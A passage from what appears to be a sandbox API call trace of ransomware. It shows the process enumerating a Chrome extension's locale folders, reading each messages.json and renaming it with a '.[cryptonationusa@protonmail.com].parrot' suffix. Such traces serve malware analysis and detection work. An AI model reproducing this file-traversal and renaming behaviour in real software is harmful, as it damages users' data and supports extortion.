(hObject=0x1fc) returned 1 [0071.560] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01e8 | out: hHeap=0x5b0000) returned 1 [0071.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681e98 | out: hHeap=0x5b0000) returned 1 [0071.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.562] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.562] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8237360, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.562] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.562] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.562] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.563] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.563] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1df, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.563] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.563] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.564] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc7, lpOverlapped=0x0) returned 1 [0071.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.564] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.564] CloseHandle (hObject=0x1fc) returned 1 [0071.565] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aad8 | out: hHeap=0x5b0000) returned 1 [0071.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682020 | out: hHeap=0x5b0000) returned 1 [0071.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67fa50 | out: hHeap=0x5b0000) returned 1 [0071.567] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8237360, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.567] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.578] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.578] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.578] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.578] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.578] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.578] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.578] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.578] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.579] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.579] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xbb, lpOverlapped=0x0) returned 1 [0071.580] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.580] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.580] CloseHandle (hObject=0x1fc) returned 1 [0071.580] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01e8 | out: hHeap=0x5b0000) returned 1 [0071.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.582] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb825d4c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb825d4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.582] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb825d4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.587] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.588] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.588] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.588] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.588] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.588] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.589] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.589] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd2, lpOverlapped=0x0) returned 1 [0071.589] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.589] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.589] CloseHandle (hObject=0x1fc) returned 1 [0071.590] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.593] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.593] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8283620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.593] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb825d4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.593] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.593] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.593] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.595] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.595] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.595] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.596] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.596] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xac, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xac, lpOverlapped=0x0) returned 1 [0071.596] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.596] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.596] CloseHandle (hObject=0x1fc) returned 1 [0071.597] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.599] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8283620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.599] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.599] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, 